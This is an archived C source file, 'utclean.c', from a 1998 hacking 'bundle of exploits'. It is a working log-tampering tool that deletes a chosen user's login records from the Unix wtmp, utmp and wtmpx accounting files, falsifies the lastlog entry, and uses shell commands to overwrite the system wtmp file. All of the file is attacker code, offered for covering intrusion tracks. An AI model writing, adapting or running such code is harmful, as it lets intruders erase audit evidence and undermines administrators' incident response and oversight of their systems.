home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / utclean.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  4KB  |  145 lines

  1. /*
  2. UTClean.c - cleans wtmp/wtmpx/utmp/utmpx/lastlog
  3. Usage: utclean <username> <fixthings?> [hostname]
  4. Written by undrtaker (undtaker@xxx.xxxxxxx.xxx.xx) - drop me a line
  5. * * * hostname only affects wtmp/wtmpx (would u like it to utmp?)
  6. */
  7.  
  8. #include <fcntl.h>
  9. #include <utmp.h>
  10. #include <sys/types.h>
  11. #include <unistd.h>
  12. #include <lastlog.h>
  13. #include <stdio.h>
  14.  
  15. #define LASTLOG  /* we always clean wtmp/utmp. Lastlog and ?tmpx, up to u. */
  16. /* #define WTMPX */
  17.  
  18. #ifdef LASTLOG
  19.     #include <lastlog.h>
  20. #endif
  21. #ifdef WTMPX
  22.     #include <utmpx.h>
  23. #endif
  24. main(argc, argv)
  25.     int     argc;
  26.     char    *argv[];
  27. {
  28. #ifdef WTMPX
  29.     struct utmpx utx;
  30. #endif
  31.     struct lastlog l;
  32.     int entries = 0, removed = 0, done = 0, size, onlyhost;
  33.     struct utmp ut;
  34.     int fp=-1,fd=-1;
  35.     char username[10], host[100];
  36.     if ( (argc != 3) && (argc != 4) ) {
  37.         fprintf(stderr,"usage: %s <username> <fixthings> [hostname]\n",argv[0]);
  38.         exit(2);
  39.     }
  40.     size = sizeof(ut);
  41.     strcpy(username,argv[1]);
  42.     if(argc==4){ strcpy(host, argv[3]); onlyhost=1; }
  43.     else onlyhost = 0;
  44.     fp = open("/var/adm/wtmp",O_RDONLY);
  45.     fd = open("wtmp.tmp",O_WRONLY|O_CREAT);
  46.     if  (fp < 0){ perror("wtmp"); close(fd); }
  47.     else if (fd < 0){ perror("wtmp.tmp"); close(fp); }
  48.     else {
  49.         while (read(fp,&ut,size)==size) {
  50.             if ( (strncmp(ut.ut_name,username,strlen(username))) 
  51.                 || (onlyhost && (!strstr(ut.ut_host,host))) )
  52.                 write(fd,&ut,size);
  53.             else removed++;
  54.             entries++;
  55.         }
  56.         printf("\nwtmp: %i entries removed (total: %i)",
  57.              removed, entries);
  58.         close(fp);
  59.         close(fd);
  60.     }
  61.     entries = removed = 0;
  62.     size = sizeof(struct utmp);
  63.     fd = open("/etc/utmp", O_RDWR);
  64.     if (fd < 0) perror("utmp");
  65.     else {
  66.         while (read(fd, &ut, size) == size) {
  67.             if (!strncmp(ut.ut_user, username, strlen(username))) {
  68.                 removed++;
  69.                 memset(&ut, 0, size);
  70.                 lseek(fd, -1*size, SEEK_CUR);
  71.                 write(fd, &ut, size);
  72.             }
  73.             entries++;
  74.         }
  75.         close(fd);
  76.         printf("\nutmp: %i entries removed. (total: %i)",
  77.             removed, entries);
  78.     }
  79.  
  80. #ifdef LASTLOG
  81.     entries = removed = 0;
  82.     size = sizeof(struct lastlog);
  83.     fd = open("/var/adm/lastlog", O_RDWR);
  84.     if (fd < 0) perror("lastlog");
  85.     else {
  86.         lseek(fd, size*getuid(), SEEK_SET);
  87.         read(fd, &l, size);
  88.         l.ll_time = 0;
  89.         strncpy(l.ll_line, "ttyq2 ", 5);
  90.         gethostname(l.ll_host, 16);
  91.         lseek(fd, size*getuid(), SEEK_SET);
  92.         write(fd, &l, size);
  93.         close(fd);
  94.         printf("\nlastlog: fixed");
  95.     }
  96. #endif
  97. #ifdef WTMPX
  98.     size = sizeof(utx);
  99.         fp = open("/var/adm/wtmpx",O_RDONLY);
  100.         fd = open("wtmpx.tmp",O_WRONLY|O_CREAT);
  101.         if  (fp < 0){ perror("wtmpx"); close(fd); }
  102.         else if (fd < 0){ perror("wtmpx.tmp"); close(fp); }
  103.         else {
  104.                 while (read(fp,&utx,size)==size) {
  105.                         if( (strncmp(utx.ut_name,username,strlen(username)))
  106.                 || (onlyhost && (!strstr(ut.ut_host,host))) )
  107.                                 write(fd,&utx,size);
  108.                         else removed++;
  109.                         entries++;
  110.                 }
  111.                 printf("\nwtmpx: %i entries removed (total: %i)",
  112.                          removed, entries);
  113.                 close(fp);
  114.                 close(fd);
  115.         }
  116.         entries = removed = 0;
  117.         fd = open("/etc/utmpx", O_RDWR);
  118.         if (fd < 0) perror("utmpx");
  119.         else {
  120.                 while (read(fd, &utx, size) == size) {
  121.                         if (!strncmp(utx.ut_user, username, strlen(username))) {
  122.                                 removed++;
  123.                                 memset(&utx, 0, size);
  124.                                 lseek(fd, -1*size, SEEK_CUR);
  125.                                 write(fd, &utx, size);
  126.                         }
  127.                         entries++;
  128.                 }
  129.                 close(fd);
  130.                 printf("\nutmpx: %i entries removed. (total: %i)",
  131.                         removed, entries);
  132.         }
  133.  
  134. #endif
  135.     if(argv[2][0] == 'y'){
  136.         system("ls -la /var/adm/wtmp* ; /bin/cp -v ./wtmp.tmp /var/adm/wtmp ; rm -v ./wtmp.tmp");
  137.         #ifdef WTMPX
  138.             system("/bin/cp -v ./wtmpX.tmp /var/adm/wtmpx ; rm -v /wtmpX.tmp");
  139.         #endif
  140.         system("ls -la /var/adm/wtmp*");
  141.         printf("\nfixthings: done.");
  142.     }
  143.     printf("\n\n...that's it. peace man :)\n\n");
  144. }
  145.